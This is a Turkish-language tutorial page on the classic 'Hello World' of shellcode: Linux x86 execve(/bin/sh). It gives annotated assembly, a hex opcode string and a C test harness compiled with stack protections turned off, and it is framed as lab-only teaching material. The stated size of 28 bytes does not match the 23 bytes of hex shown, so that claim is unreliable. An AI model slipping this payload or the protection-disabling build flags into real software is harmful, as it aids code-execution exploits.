Linux/x86 execve(/bin/sh) Shellcode

Klasik Shellcode - Linux x86 - 28 Bytes

Linux/x86 execve(/bin/sh) - 28 Bytes

Shellcode dunyasinin Hello World'u sayilan bu kod, Linux x86 sistemlerinde execve sistem cagrisini kullanarak /bin/sh kabugunu baslatir. Tum shellcode yazimi ogreniminin baslangic noktasidir.

Assembly Kaynak Kodu

Assembly kodunu satir satir inceleyelim. xor eax,eax ile eax sifirlanir - bu NULL byte icermeden 0 degeri elde etmenin standart yontemidir.

section .text global _start _start: xor eax, eax ; eax = 0 (NULL byte onlemek icin) push eax ; argv[1] = NULL push 0x68732f2f ; //sh little endian push 0x6e69622f ; /bin mov ebx, esp ; ebx = /bin//sh pointer push eax ; envp = NULL push ebx ; argv[0] = /bin//sh mov ecx, esp ; ecx = argv pointer mov al, 11 ; syscall no: execve = 11 (0x0b) int 0x80 ; kernel interrupt

Hex Opcode

Bu hex dizisi dogrudan bellege yazilip calistirilabilir.

Boyut: 28 bytes \x31\xc0\x50\x68\x2f\x2f\x73\x68 \x68\x2f\x62\x69\x6e\x89\xe3\x50 \x53\x89\xe1\xb0\x0b\xcd\x80

C ile Test (Lab)

Test ederken -z execstack bayragi ile stack calistirilabilir yapilir. Modern sistemlerde NX/DEP bunu engeller.

/* UYARI: Yalnizca izolated lab ortaminda test edin */ #include char sc[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e\x89\xe3\x50" "\x53\x89\xe1\xb0\x0b\xcd\x80"; int main() { printf("Boyut: %zu bytes\n", sizeof(sc)-1); ((void(*)())sc)(); } /* gcc -m32 -z execstack -fno-stack-protector test.c -o test */

UYARI Egitim Amacli

Bu shellcode yalnizca izinli lab ortamlarinda kullanilabiir.

Linux/x86 execve(/bin/sh) Shellcode - 28 Bytes (Klasik)

Summary

Linux/x86 execve(/bin/sh) - 28 Bytes

Assembly Kaynak Kodu

Hex Opcode

C ile Test (Lab)

Download Source

Login Required to Comment

Author Profile

Entry Stats